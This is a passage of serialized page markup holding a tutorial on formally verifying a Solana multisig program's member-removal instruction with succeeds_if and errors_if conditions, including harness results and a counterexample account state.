remove_member",{"type":19,"tag":168,"props":23235,"children":23236},{"style":212},[23237],{"type":24,"value":500},{"type":19,"tag":168,"props":23239,"children":23240},{"style":393},[23241],{"type":24,"value":17735},{"type":19,"tag":168,"props":23243,"children":23244},{"style":399},[23245],{"type":24,"value":1922},{"type":19,"tag":168,"props":23247,"children":23248},{"style":825},[23249],{"type":24,"value":17744},{"type":19,"tag":168,"props":23251,"children":23252},{"style":212},[23253],{"type":24,"value":3240},{"type":19,"tag":168,"props":23255,"children":23256},{"style":825},[23257],{"type":24,"value":23258},"MsAuth",{"type":19,"tag":168,"props":23260,"children":23261},{"style":212},[23262],{"type":24,"value":4066},{"type":19,"tag":168,"props":23264,"children":23265},{"style":393},[23266],{"type":24,"value":23267},"old_member",{"type":19,"tag":168,"props":23269,"children":23270},{"style":399},[23271],{"type":24,"value":1922},{"type":19,"tag":168,"props":23273,"children":23274},{"style":825},[23275],{"type":24,"value":18312},{"type":19,"tag":168,"props":23277,"children":23278},{"style":212},[23279],{"type":24,"value":481},{"type":19,"tag":168,"props":23281,"children":23282},{"style":399},[23283],{"type":24,"value":11203},{"type":19,"tag":168,"props":23285,"children":23286},{"style":825},[23287],{"type":24,"value":11208},{"type":19,"tag":168,"props":23289,"children":23290},{"style":212},[23291],{"type":24,"value":17786},{"type":19,"tag":168,"props":23293,"children":23294},{"class":170,"line":1087},[23295],{"type":19,"tag":168,"props":23296,"children":23297},{"style":373},[23298],{"type":24,"value":23299}," // if there is only one key in this multisig, reject the removal\n",{"type":19,"tag":168,"props":23301,"children":23302},{"class":170,"line":1096},[23303,23307,23312,23316,23320,23324,23328,23332,23336,23340,23344,23348,23352,23356],{"type":19,"tag":168,"props":23304,"children":23305},{"style":419},[23306],{"type":24,"value":9724},{"type":19,"tag":168,"props":23308,"children":23309},{"style":393},[23310],{"type":24,"value":23311}," ctx",{"type":19,"tag":168,"props":23313,"children":23314},{"style":399},[23315],{"type":24,"value":948},{"type":19,"tag":168,"props":23317,"children":23318},{"style":212},[23319],{"type":24,"value":12121},{"type":19,"tag":168,"props":23321,"children":23322},{"style":399},[23323],{"type":24,"value":948},{"type":19,"tag":168,"props":23325,"children":23326},{"style":212},[23327],{"type":24,"value":21272},{"type":19,"tag":168,"props":23329,"children":23330},{"style":399},[23331],{"type":24,"value":948},{"type":19,"tag":168,"props":23333,"children":23334},{"style":212},[23335],{"type":24,"value":18438},{"type":19,"tag":168,"props":23337,"children":23338},{"style":399},[23339],{"type":24,"value":948},{"type":19,"tag":168,"props":23341,"children":23342},{"style":175},[23343],{"type":24,"value":6579},{"type":19,"tag":168,"props":23345,"children":23346},{"style":212},[23347],{"type":24,"value":11489},{"type":19,"tag":168,"props":23349,"children":23350},{"style":399},[23351],{"type":24,"value":6013},{"type":19,"tag":168,"props":23353,"children":23354},{"style":192},[23355],{"type":24,"value":1954},{"type":19,"tag":168,"props":23357,"children":23358},{"style":212},[23359],{"type":24,"value":691},{"type":19,"tag":168,"props":23361,"children":23362},{"class":170,"line":1105},[23363,23367,23371,23375,23379,23383,23388],{"type":19,"tag":168,"props":23364,"children":23365},{"style":419},[23366],{"type":24,"value":13192},{"type":19,"tag":168,"props":23368,"children":23369},{"style":175},[23370],{"type":24,"value":20975},{"type":19,"tag":168,"props":23372,"children":23373},{"style":212},[23374],{"type":24,"value":500},{"type":19,"tag":168,"props":23376,"children":23377},{"style":825},[23378],{"type":24,"value":20984},{"type":19,"tag":168,"props":23380,"children":23381},{"style":399},[23382],{"type":24,"value":888},{"type":19,"tag":168,"props":23384,"children":23385},{"style":825},[23386],{"type":24,"value":23387},"CannotRemoveSoloMember",{"type":19,"tag":168,"props":23389,"children":23390},{"style":212},[23391],{"type":24,"value":1249},{"type":19,"tag":168,"props":23393,"children":23394},{"class":170,"line":1174},[23395],{"type":19,"tag":168,"props":23396,"children":23397},{"style":212},[23398],{"type":24,"value":761},{"type":19,"tag":168,"props":23400,"children":23401},{"class":170,"line":1182},[23402,23406,23410,23414,23418,23422,23426,23430,23434,23438,23442,23446],{"type":19,"tag":168,"props":23403,"children":23404},{"style":393},[23405],{"type":24,"value":17678},{"type":19,"tag":168,"props":23407,"children":23408},{"style":399},[23409],{"type":24,"value":948},{"type":19,"tag":168,"props":23411,"children":23412},{"style":212},[23413],{"type":24,"value":12121},{"type":19,"tag":168,"props":23415,"children":23416},{"style":399},[23417],{"type":24,"value":948},{"type":19,"tag":168,"props":23419,"children":23420},{"style":212},[23421],{"type":24,"value":21272},{"type":19,"tag":168,"props":23423,"children":23424},{"style":399},[23425],{"type":24,"value":948},{"type":19,"tag":168,"props":23427,"children":23428},{"style":175},[23429],{"type":24,"value":22934},{"type":19,"tag":168,"props":23431,"children":23432},{"style":212},[23433],{"type":24,"value":500},{"type":19,"tag":168,"props":23435,"children":23436},{"style":393},[23437],{"type":24,"value":23267},{"type":19,"tag":168,"props":23439,"children":23440},{"style":212},[23441],{"type":24,"value":524},{"type":19,"tag":168,"props":23443,"children":23444},{"style":399},[23445],{"type":24,"value":552},{"type":19,"tag":168,"props":23447,"children":23448},{"style":212},[23449],{"type":24,"value":412},{"type":19,"tag":168,"props":23451,"children":23452},{"class":170,"line":1212},[23453],{"type":19,"tag":168,"props":23454,"children":23455},{"emptyLinePlaceholder":14},[23456],{"type":24,"value":1093},{"type":19,"tag":168,"props":23458,"children":23459},{"class":170,"line":1220},[23460],{"type":19,"tag":168,"props":23461,"children":23462},{"style":373},[23463],{"type":24,"value":23464}," // if the number of keys is now less than the threshold, adjust it\n",{"type":19,"tag":168,"props":23466,"children":23467},{"class":170,"line":1252},[23468,23472,23476,23480,23484,23488,23492,23496,23500,23504,23508,23513,23517,23521,23525,23529,23533,23537,23541,23545,23549,23553],{"type":19,"tag":168,"props":23469,"children":23470},{"style":419},[23471],{"type":24,"value":9724},{"type":19,"tag":168,"props":23473,"children":23474},{"style":393},[23475],{"type":24,"value":23311},{"type":19,"tag":168,"props":23477,"children":23478},{"style":399},[23479],{"type":24,"value":948},{"type":19,"tag":168,"props":23481,"children":23482},{"style":212},[23483],{"type":24,"value":12121},{"type":19,"tag":168,"props":23485,"children":23486},{"style":399},[23487],{"type":24,"value":948},{"type":19,"tag":168,"props":23489,"children":23490},{"style":212},[23491],{"type":24,"value":21272},{"type":19,"tag":168,"props":23493,"children":23494},{"style":399},[23495],{"type":24,"value":948},{"type":19,"tag":168,"props":23497,"children":23498},{"style":212},[23499],{"type":24,"value":18438},{"type":19,"tag":168,"props":23501,"children":23502},{"style":399},[23503],{"type":24,"value":948},{"type":19,"tag":168,"props":23505,"children":23506},{"style":175},[23507],{"type":24,"value":6579},{"type":19,"tag":168,"props":23509,"children":23510},{"style":212},[23511],{"type":24,"value":23512},"() \u003C ",{"type":19,"tag":168,"props":23514,"children":23515},{"style":825},[23516],{"type":24,"value":14050},{"type":19,"tag":168,"props":23518,"children":23519},{"style":399},[23520],{"type":24,"value":888},{"type":19,"tag":168,"props":23522,"children":23523},{"style":175},[23524],{"type":24,"value":16927},{"type":19,"tag":168,"props":23526,"children":23527},{"style":212},[23528],{"type":24,"value":500},{"type":19,"tag":168,"props":23530,"children":23531},{"style":393},[23532],{"type":24,"value":17735},{"type":19,"tag":168,"props":23534,"children":23535},{"style":399},[23536],{"type":24,"value":948},{"type":19,"tag":168,"props":23538,"children":23539},{"style":212},[23540],{"type":24,"value":12121},{"type":19,"tag":168,"props":23542,"children":23543},{"style":399},[23544],{"type":24,"value":948},{"type":19,"tag":168,"props":23546,"children":23547},{"style":212},[23548],{"type":24,"value":21272},{"type":19,"tag":168,"props":23550,"children":23551},{"style":399},[23552],{"type":24,"value":948},{"type":19,"tag":168,"props":23554,"children":23555},{"style":212},[23556],{"type":24,"value":23557},"threshold) {\n",{"type":19,"tag":168,"props":23559,"children":23560},{"class":170,"line":1260},[23561,23565,23570,23574,23578,23582,23586,23590,23594,23598,23602,23606,23610,23614,23618,23622,23626,23631,23635,23639,23643],{"type":19,"tag":168,"props":23562,"children":23563},{"style":382},[23564],{"type":24,"value":456},{"type":19,"tag":168,"props":23566,"children":23567},{"style":393},[23568],{"type":24,"value":23569}," new_threshold",{"type":19,"tag":168,"props":23571,"children":23572},{"style":399},[23573],{"type":24,"value":1922},{"type":19,"tag":168,"props":23575,"children":23576},{"style":825},[23577],{"type":24,"value":18485},{"type":19,"tag":168,"props":23579,"children":23580},{"style":399},[23581],{"type":24,"value":402},{"type":19,"tag":168,"props":23583,"children":23584},{"style":393},[23585],{"type":24,"value":23311},{"type":19,"tag":168,"props":23587,"children":23588},{"style":399},[23589],{"type":24,"value":948},{"type":19,"tag":168,"props":23591,"children":23592},{"style":212},[23593],{"type":24,"value":12121},{"type":19,"tag":168,"props":23595,"children":23596},{"style":399},[23597],{"type":24,"value":948},{"type":19,"tag":168,"props":23599,"children":23600},{"style":212},[23601],{"type":24,"value":21272},{"type":19,"tag":168,"props":23603,"children":23604},{"style":399},[23605],{"type":24,"value":948},{"type":19,"tag":168,"props":23607,"children":23608},{"style":212},[23609],{"type":24,"value":18438},{"type":19,"tag":168,"props":23611,"children":23612},{"style":399},[23613],{"type":24,"value":948},{"type":19,"tag":168,"props":23615,"children":23616},{"style":175},[23617],{"type":24,"value":6579},{"type":19,"tag":168,"props":23619,"children":23620},{"style":212},[23621],{"type":24,"value":11325},{"type":19,"tag":168,"props":23623,"children":23624},{"style":399},[23625],{"type":24,"value":948},{"type":19,"tag":168,"props":23627,"children":23628},{"style":175},[23629],{"type":24,"value":23630},"try_into",{"type":19,"tag":168,"props":23632,"children":23633},{"style":212},[23634],{"type":24,"value":11325},{"type":19,"tag":168,"props":23636,"children":23637},{"style":399},[23638],{"type":24,"value":948},{"type":19,"tag":168,"props":23640,"children":23641},{"style":175},[23642],{"type":24,"value":1079},{"type":19,"tag":168,"props":23644,"children":23645},{"style":212},[23646],{"type":24,"value":1084},{"type":19,"tag":168,"props":23648,"children":23649},{"class":170,"line":1320},[23650,23655,23659,23663,23667,23671,23675,23680,23684,23689,23693,23697],{"type":19,"tag":168,"props":23651,"children":23652},{"style":393},[23653],{"type":24,"value":23654}," ctx",{"type":19,"tag":168,"props":23656,"children":23657},{"style":399},[23658],{"type":24,"value":948},{"type":19,"tag":168,"props":23660,"children":23661},{"style":212},[23662],{"type":24,"value":12121},{"type":19,"tag":168,"props":23664,"children":23665},{"style":399},[23666],{"type":24,"value":948},{"type":19,"tag":168,"props":23668,"children":23669},{"style":212},[23670],{"type":24,"value":21272},{"type":19,"tag":168,"props":23672,"children":23673},{"style":399},[23674],{"type":24,"value":948},{"type":19,"tag":168,"props":23676,"children":23677},{"style":175},[23678],{"type":24,"value":23679},"change_threshold",{"type":19,"tag":168,"props":23681,"children":23682},{"style":212},[23683],{"type":24,"value":500},{"type":19,"tag":168,"props":23685,"children":23686},{"style":393},[23687],{"type":24,"value":23688},"new_threshold",{"type":19,"tag":168,"props":23690,"children":23691},{"style":212},[23692],{"type":24,"value":524},{"type":19,"tag":168,"props":23694,"children":23695},{"style":399},[23696],{"type":24,"value":552},{"type":19,"tag":168,"props":23698,"children":23699},{"style":212},[23700],{"type":24,"value":412},{"type":19,"tag":168,"props":23702,"children":23703},{"class":170,"line":6486},[23704],{"type":19,"tag":168,"props":23705,"children":23706},{"style":212},[23707],{"type":24,"value":761},{"type":19,"tag":168,"props":23709,"children":23710},{"class":170,"line":6504},[23711,23715,23720,23724,23728,23732,23736,23740,23744,23748],{"type":19,"tag":168,"props":23712,"children":23713},{"style":382},[23714],{"type":24,"value":385},{"type":19,"tag":168,"props":23716,"children":23717},{"style":393},[23718],{"type":24,"value":23719}," new_index",{"type":19,"tag":168,"props":23721,"children":23722},{"style":399},[23723],{"type":24,"value":402},{"type":19,"tag":168,"props":23725,"children":23726},{"style":393},[23727],{"type":24,"value":23311},{"type":19,"tag":168,"props":23729,"children":23730},{"style":399},[23731],{"type":24,"value":948},{"type":19,"tag":168,"props":23733,"children":23734},{"style":212},[23735],{"type":24,"value":12121},{"type":19,"tag":168,"props":23737,"children":23738},{"style":399},[23739],{"type":24,"value":948},{"type":19,"tag":168,"props":23741,"children":23742},{"style":212},[23743],{"type":24,"value":21272},{"type":19,"tag":168,"props":23745,"children":23746},{"style":399},[23747],{"type":24,"value":948},{"type":19,"tag":168,"props":23749,"children":23750},{"style":212},[23751],{"type":24,"value":23752},"transaction_index;\n",{"type":19,"tag":168,"props":23754,"children":23755},{"class":170,"line":6549},[23756,23760,23764,23768,23772,23776,23780,23785,23789,23794],{"type":19,"tag":168,"props":23757,"children":23758},{"style":393},[23759],{"type":24,"value":17678},{"type":19,"tag":168,"props":23761,"children":23762},{"style":399},[23763],{"type":24,"value":948},{"type":19,"tag":168,"props":23765,"children":23766},{"style":212},[23767],{"type":24,"value":12121},{"type":19,"tag":168,"props":23769,"children":23770},{"style":399},[23771],{"type":24,"value":948},{"type":19,"tag":168,"props":23773,"children":23774},{"style":212},[23775],{"type":24,"value":21272},{"type":19,"tag":168,"props":23777,"children":23778},{"style":399},[23779],{"type":24,"value":948},{"type":19,"tag":168,"props":23781,"children":23782},{"style":175},[23783],{"type":24,"value":23784},"set_change_index",{"type":19,"tag":168,"props":23786,"children":23787},{"style":212},[23788],{"type":24,"value":500},{"type":19,"tag":168,"props":23790,"children":23791},{"style":393},[23792],{"type":24,"value":23793},"new_index",{"type":19,"tag":168,"props":23795,"children":23796},{"style":212},[23797],{"type":24,"value":557},{"type":19,"tag":168,"props":23799,"children":23800},{"class":170,"line":6655},[23801],{"type":19,"tag":168,"props":23802,"children":23803},{"style":212},[23804],{"type":24,"value":1326},{"type":19,"tag":20,"props":23806,"children":23807},{},[23808,23810,23815],{"type":24,"value":23809},"First let's establish the ",{"type":19,"tag":27,"props":23811,"children":23813},{"className":23812},[],[23814],{"type":24,"value":17609},{"type":24,"value":23816}," condition. We can do this either interactively, following counterexamples like in the first example or we can guess what a sufficient condition might be:",{"type":19,"tag":158,"props":23818,"children":23820},{"code":23819,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\nfn remove_member(...) { ... }\n",[23821],{"type":19,"tag":27,"props":23822,"children":23823},{"__ignoreMap":7},[23824,23831,23878,23885],{"type":19,"tag":168,"props":23825,"children":23826},{"class":170,"line":171},[23827],{"type":19,"tag":168,"props":23828,"children":23829},{"style":212},[23830],{"type":24,"value":21579},{"type":19,"tag":168,"props":23832,"children":23833},{"class":170,"line":198},[23834,23838,23842,23846,23850,23854,23858,23862,23866,23870,23874],{"type":19,"tag":168,"props":23835,"children":23836},{"style":212},[23837],{"type":24,"value":17678},{"type":19,"tag":168,"props":23839,"children":23840},{"style":399},[23841],{"type":24,"value":948},{"type":19,"tag":168,"props":23843,"children":23844},{"style":212},[23845],{"type":24,"value":12121},{"type":19,"tag":168,"props":23847,"children":23848},{"style":399},[23849],{"type":24,"value":948},{"type":19,"tag":168,"props":23851,"children":23852},{"style":212},[23853],{"type":24,"value":21272},{"type":19,"tag":168,"props":23855,"children":23856},{"style":399},[23857],{"type":24,"value":948},{"type":19,"tag":168,"props":23859,"children":23860},{"style":212},[23861],{"type":24,"value":18438},{"type":19,"tag":168,"props":23863,"children":23864},{"style":399},[23865],{"type":24,"value":948},{"type":19,"tag":168,"props":23867,"children":23868},{"style":212},[23869],{"type":24,"value":18476},{"type":19,"tag":168,"props":23871,"children":23872},{"style":399},[23873],{"type":24,"value":7905},{"type":19,"tag":168,"props":23875,"children":23876},{"style":212},[23877],{"type":24,"value":16896},{"type":19,"tag":168,"props":23879,"children":23880},{"class":170,"line":415},[23881],{"type":19,"tag":168,"props":23882,"children":23883},{"style":212},[23884],{"type":24,"value":17713},{"type":19,"tag":168,"props":23886,"children":23887},{"class":170,"line":450},[23888,23892,23896,23900,23904,23908,23912],{"type":19,"tag":168,"props":23889,"children":23890},{"style":382},[23891],{"type":24,"value":17721},{"type":19,"tag":168,"props":23893,"children":23894},{"style":175},[23895],{"type":24,"value":23233},{"type":19,"tag":168,"props":23897,"children":23898},{"style":212},[23899],{"type":24,"value":500},{"type":19,"tag":168,"props":23901,"children":23902},{"style":399},[23903],{"type":24,"value":7032},{"type":19,"tag":168,"props":23905,"children":23906},{"style":212},[23907],{"type":24,"value":21456},{"type":19,"tag":168,"props":23909,"children":23910},{"style":399},[23911],{"type":24,"value":7032},{"type":19,"tag":168,"props":23913,"children":23914},{"style":212},[23915],{"type":24,"value":7037},{"type":19,"tag":20,"props":23917,"children":23918},{},[23919,23921,23926],{"type":24,"value":23920},"And for now let's remove the invariant on the ",{"type":19,"tag":27,"props":23922,"children":23924},{"className":23923},[],[23925],{"type":24,"value":20197},{"type":24,"value":23927}," account:",{"type":19,"tag":158,"props":23929,"children":23931},{"code":23930,"language":362,"meta":7,"className":363,"style":7},"#[invariant()]\npub struct Ms { ... }\n",[23932],{"type":19,"tag":27,"props":23933,"children":23934},{"__ignoreMap":7},[23935,23943],{"type":19,"tag":168,"props":23936,"children":23937},{"class":170,"line":171},[23938],{"type":19,"tag":168,"props":23939,"children":23940},{"style":212},[23941],{"type":24,"value":23942},"#[invariant()]\n",{"type":19,"tag":168,"props":23944,"children":23945},{"class":170,"line":198},[23946,23950,23954,23958,23962,23966],{"type":19,"tag":168,"props":23947,"children":23948},{"style":382},[23949],{"type":24,"value":11136},{"type":19,"tag":168,"props":23951,"children":23952},{"style":382},[23953],{"type":24,"value":18606},{"type":19,"tag":168,"props":23955,"children":23956},{"style":825},[23957],{"type":24,"value":18611},{"type":19,"tag":168,"props":23959,"children":23960},{"style":212},[23961],{"type":24,"value":7027},{"type":19,"tag":168,"props":23963,"children":23964},{"style":399},[23965],{"type":24,"value":7032},{"type":19,"tag":168,"props":23967,"children":23968},{"style":212},[23969],{"type":24,"value":7037},{"type":19,"tag":20,"props":23971,"children":23972},{},[23973],{"type":24,"value":23974},"Let's test this!",{"type":19,"tag":20,"props":23976,"children":23977},{},[23978,23980,23985],{"type":24,"value":23979},"Our ",{"type":19,"tag":27,"props":23981,"children":23983},{"className":23982},[],[23984],{"type":24,"value":17609},{"type":24,"value":23986}," harness produces:",{"type":19,"tag":158,"props":23988,"children":23990},{"code":23989},"VERIFICATION:- SUCCESSFUL\nVerification Time: 28.119272s\n",[23991],{"type":19,"tag":27,"props":23992,"children":23993},{"__ignoreMap":7},[23994],{"type":24,"value":23989},{"type":19,"tag":20,"props":23996,"children":23997},{},[23998],{"type":24,"value":23999},"This tells us that if our multisig has at least two keys then the instruction will succeed.",{"type":19,"tag":20,"props":24001,"children":24002},{},[24003,24005,24010],{"type":24,"value":24004},"However, remember that since ",{"type":19,"tag":27,"props":24006,"children":24008},{"className":24007},[],[24009],{"type":24,"value":17609},{"type":24,"value":24011}," represents just the sufficient conditions, there may be other cases where the function succeeds.",{"type":19,"tag":20,"props":24013,"children":24014},{},[24015,24017,24022,24024,24029,24031,24036],{"type":24,"value":24016},"Suppose we want to be sure that this condition is the ",{"type":19,"tag":293,"props":24018,"children":24019},{},[24020],{"type":24,"value":24021},"only condition",{"type":24,"value":24023}," in which the function will succeed (i.e. ",{"type":19,"tag":293,"props":24025,"children":24026},{},[24027],{"type":24,"value":24028},"\"the function will succeed if and only if the multisig has at least two keys\"",{"type":24,"value":24030},"). We could attempt to verify the other side of this with an ",{"type":19,"tag":27,"props":24032,"children":24034},{"className":24033},[],[24035],{"type":24,"value":17616},{"type":24,"value":24037}," macro such as:",{"type":19,"tag":158,"props":24039,"children":24041},{"code":24040,"language":362,"meta":7,"className":363,"style":7},"#[succeeds_if(\n ctx.accounts.multisig.keys.len() > 1\n)]\n#[errors_if(\n ctx.accounts.multisig.keys.len() \u003C= 1\n)]\nfn remove_member(...) { ... }\n",[24042],{"type":19,"tag":27,"props":24043,"children":24044},{"__ignoreMap":7},[24045,24052,24099,24106,24113,24160,24167],{"type":19,"tag":168,"props":24046,"children":24047},{"class":170,"line":171},[24048],{"type":19,"tag":168,"props":24049,"children":24050},{"style":212},[24051],{"type":24,"value":21579},{"type":19,"tag":168,"props":24053,"children":24054},{"class":170,"line":198},[24055,24059,24063,24067,24071,24075,24079,24083,24087,24091,24095],{"type":19,"tag":168,"props":24056,"children":24057},{"style":212},[24058],{"type":24,"value":17678},{"type":19,"tag":168,"props":24060,"children":24061},{"style":399},[24062],{"type":24,"value":948},{"type":19,"tag":168,"props":24064,"children":24065},{"style":212},[24066],{"type":24,"value":12121},{"type":19,"tag":168,"props":24068,"children":24069},{"style":399},[24070],{"type":24,"value":948},{"type":19,"tag":168,"props":24072,"children":24073},{"style":212},[24074],{"type":24,"value":21272},{"type":19,"tag":168,"props":24076,"children":24077},{"style":399},[24078],{"type":24,"value":948},{"type":19,"tag":168,"props":24080,"children":24081},{"style":212},[24082],{"type":24,"value":18438},{"type":19,"tag":168,"props":24084,"children":24085},{"style":399},[24086],{"type":24,"value":948},{"type":19,"tag":168,"props":24088,"children":24089},{"style":212},[24090],{"type":24,"value":18476},{"type":19,"tag":168,"props":24092,"children":24093},{"style":399},[24094],{"type":24,"value":7905},{"type":19,"tag":168,"props":24096,"children":24097},{"style":212},[24098],{"type":24,"value":16896},{"type":19,"tag":168,"props":24100,"children":24101},{"class":170,"line":415},[24102],{"type":19,"tag":168,"props":24103,"children":24104},{"style":212},[24105],{"type":24,"value":17713},{"type":19,"tag":168,"props":24107,"children":24108},{"class":170,"line":450},[24109],{"type":19,"tag":168,"props":24110,"children":24111},{"style":212},[24112],{"type":24,"value":17670},{"type":19,"tag":168,"props":24114,"children":24115},{"class":170,"line":560},[24116,24120,24124,24128,24132,24136,24140,24144,24148,24152,24156],{"type":19,"tag":168,"props":24117,"children":24118},{"style":212},[24119],{"type":24,"value":17678},{"type":19,"tag":168,"props":24121,"children":24122},{"style":399},[24123],{"type":24,"value":948},{"type":19,"tag":168,"props":24125,"children":24126},{"style":212},[24127],{"type":24,"value":12121},{"type":19,"tag":168,"props":24129,"children":24130},{"style":399},[24131],{"type":24,"value":948},{"type":19,"tag":168,"props":24133,"children":24134},{"style":212},[24135],{"type":24,"value":21272},{"type":19,"tag":168,"props":24137,"children":24138},{"style":399},[24139],{"type":24,"value":948},{"type":19,"tag":168,"props":24141,"children":24142},{"style":212},[24143],{"type":24,"value":18438},{"type":19,"tag":168,"props":24145,"children":24146},{"style":399},[24147],{"type":24,"value":948},{"type":19,"tag":168,"props":24149,"children":24150},{"style":212},[24151],{"type":24,"value":18476},{"type":19,"tag":168,"props":24153,"children":24154},{"style":399},[24155],{"type":24,"value":16868},{"type":19,"tag":168,"props":24157,"children":24158},{"style":212},[24159],{"type":24,"value":16896},{"type":19,"tag":168,"props":24161,"children":24162},{"class":170,"line":666},[24163],{"type":19,"tag":168,"props":24164,"children":24165},{"style":212},[24166],{"type":24,"value":17713},{"type":19,"tag":168,"props":24168,"children":24169},{"class":170,"line":694},[24170,24174,24178,24182,24186,24190,24194],{"type":19,"tag":168,"props":24171,"children":24172},{"style":382},[24173],{"type":24,"value":17721},{"type":19,"tag":168,"props":24175,"children":24176},{"style":175},[24177],{"type":24,"value":23233},{"type":19,"tag":168,"props":24179,"children":24180},{"style":212},[24181],{"type":24,"value":500},{"type":19,"tag":168,"props":24183,"children":24184},{"style":399},[24185],{"type":24,"value":7032},{"type":19,"tag":168,"props":24187,"children":24188},{"style":212},[24189],{"type":24,"value":21456},{"type":19,"tag":168,"props":24191,"children":24192},{"style":399},[24193],{"type":24,"value":7032},{"type":19,"tag":168,"props":24195,"children":24196},{"style":212},[24197],{"type":24,"value":7037},{"type":19,"tag":20,"props":24199,"children":24200},{},[24201,24203,24208],{"type":24,"value":24202},"Let's test this, we just need to run the new ",{"type":19,"tag":27,"props":24204,"children":24206},{"className":24205},[],[24207],{"type":24,"value":17616},{"type":24,"value":24209}," harness:",{"type":19,"tag":158,"props":24211,"children":24213},{"code":24212},"VERIFICATION:- FAILED\nVerification Time: 31.900913s\n",[24214],{"type":19,"tag":27,"props":24215,"children":24216},{"__ignoreMap":7},[24217],{"type":24,"value":24212},{"type":19,"tag":20,"props":24219,"children":24220},{},[24221],{"type":24,"value":24222},"Hmm, this verification failed! Let's look at the counterexample. The multisig it is trying to remove a member from looks like:",{"type":19,"tag":158,"props":24224,"children":24226},{"code":24225,"language":362,"meta":7,"className":363,"style":7},"Account {\n account: Ms {\n threshold: 0,\n authority_index: 0,\n transaction_index: 0,\n ms_change_index: 0,\n bump: 0,\n create_key: ...,\n allow_external_execute: false,\n keys: Vec {\n data: ...,\n size: 0,\n },\n },\n info: AccountInfo { ... },\n}\n",[24227],{"type":19,"tag":27,"props":24228,"children":24229},{"__ignoreMap":7},[24230,24241,24260,24279,24298,24317,24336,24355,24374,24393,24412,24432,24451,24458,24465,24492],{"type":19,"tag":168,"props":24231,"children":24232},{"class":170,"line":171},[24233,24237],{"type":19,"tag":168,"props":24234,"children":24235},{"style":825},[24236],{"type":24,"value":14595},{"type":19,"tag":168,"props":24238,"children":24239},{"style":212},[24240],{"type":24,"value":691},{"type":19,"tag":168,"props":24242,"children":24243},{"class":170,"line":198},[24244,24248,24252,24256],{"type":19,"tag":168,"props":24245,"children":24246},{"style":393},[24247],{"type":24,"value":22639},{"type":19,"tag":168,"props":24249,"children":24250},{"style":399},[24251],{"type":24,"value":1922},{"type":19,"tag":168,"props":24253,"children":24254},{"style":825},[24255],{"type":24,"value":18611},{"type":19,"tag":168,"props":24257,"children":24258},{"style":212},[24259],{"type":24,"value":691},{"type":19,"tag":168,"props":24261,"children":24262},{"class":170,"line":415},[24263,24267,24271,24275],{"type":19,"tag":168,"props":24264,"children":24265},{"style":393},[24266],{"type":24,"value":21293},{"type":19,"tag":168,"props":24268,"children":24269},{"style":399},[24270],{"type":24,"value":1922},{"type":19,"tag":168,"props":24272,"children":24273},{"style":192},[24274],{"type":24,"value":437},{"type":19,"tag":168,"props":24276,"children":24277},{"style":212},[24278],{"type":24,"value":915},{"type":19,"tag":168,"props":24280,"children":24281},{"class":170,"line":450},[24282,24286,24290,24294],{"type":19,"tag":168,"props":24283,"children":24284},{"style":393},[24285],{"type":24,"value":22679},{"type":19,"tag":168,"props":24287,"children":24288},{"style":399},[24289],{"type":24,"value":1922},{"type":19,"tag":168,"props":24291,"children":24292},{"style":192},[24293],{"type":24,"value":437},{"type":19,"tag":168,"props":24295,"children":24296},{"style":212},[24297],{"type":24,"value":915},{"type":19,"tag":168,"props":24299,"children":24300},{"class":170,"line":560},[24301,24305,24309,24313],{"type":19,"tag":168,"props":24302,"children":24303},{"style":393},[24304],{"type":24,"value":22699},{"type":19,"tag":168,"props":24306,"children":24307},{"style":399},[24308],{"type":24,"value":1922},{"type":19,"tag":168,"props":24310,"children":24311},{"style":192},[24312],{"type":24,"value":437},{"type":19,"tag":168,"props":24314,"children":24315},{"style":212},[24316],{"type":24,"value":915},{"type":19,"tag":168,"props":24318,"children":24319},{"class":170,"line":666},[24320,24324,24328,24332],{"type":19,"tag":168,"props":24321,"children":24322},{"style":393},[24323],{"type":24,"value":22719},{"type":19,"tag":168,"props":24325,"children":24326},{"style":399},[24327],{"type":24,"value":1922},{"type":19,"tag":168,"props":24329,"children":24330},{"style":192},[24331],{"type":24,"value":437},{"type":19,"tag":168,"props":24333,"children":24334},{"style":212},[24335],{"type":24,"value":915},{"type":19,"tag":168,"props":24337,"children":24338},{"class":170,"line":694},[24339,24343,24347,24351],{"type":19,"tag":168,"props":24340,"children":24341},{"style":393},[24342],{"type":24,"value":22739},{"type":19,"tag":168,"props":24344,"children":24345},{"style":399},[24346],{"type":24,"value":1922},{"type":19,"tag":168,"props":24348,"children":24349},{"style":192},[24350],{"type":24,"value":437},{"type":19,"tag":168,"props":24352,"children":24353},{"style":212},[24354],{"type":24,"value":915},{"type":19,"tag":168,"props":24356,"children":24357},{"class":170,"line":707},[24358,24362,24366,24370],{"type":19,"tag":168,"props":24359,"children":24360},{"style":393},[24361],{"type":24,"value":21306},{"type":19,"tag":168,"props":24363,"children":24364},{"style":399},[24365],{"type":24,"value":1922},{"type":19,"tag":168,"props":24367,"children":24368},{"style":399},[24369],{"type":24,"value":22767},{"type":19,"tag":168,"props":24371,"children":24372},{"style":212},[24373],{"type":24,"value":915},{"type":19,"tag":168,"props":24375,"children":24376},{"class":170,"line":725},[24377,24381,24385,24389],{"type":19,"tag":168,"props":24378,"children":24379},{"style":393},[24380],{"type":24,"value":22779},{"type":19,"tag":168,"props":24382,"children":24383},{"style":399},[24384],{"type":24,"value":1922},{"type":19,"tag":168,"props":24386,"children":24387},{"style":382},[24388],{"type":24,"value":6497},{"type":19,"tag":168,"props":24390,"children":24391},{"style":212},[24392],{"type":24,"value":915},{"type":19,"tag":168,"props":24394,"children":24395},{"class":170,"line":746},[24396,24400,24404,24408],{"type":19,"tag":168,"props":24397,"children":24398},{"style":393},[24399],{"type":24,"value":22799},{"type":19,"tag":168,"props":24401,"children":24402},{"style":399},[24403],{"type":24,"value":1922},{"type":19,"tag":168,"props":24405,"children":24406},{"style":825},[24407],{"type":24,"value":18844},{"type":19,"tag":168,"props":24409,"children":24410},{"style":212},[24411],{"type":24,"value":691},{"type":19,"tag":168,"props":24413,"children":24414},{"class":170,"line":755},[24415,24420,24424,24428],{"type":19,"tag":168,"props":24416,"children":24417},{"style":393},[24418],{"type":24,"value":24419}," 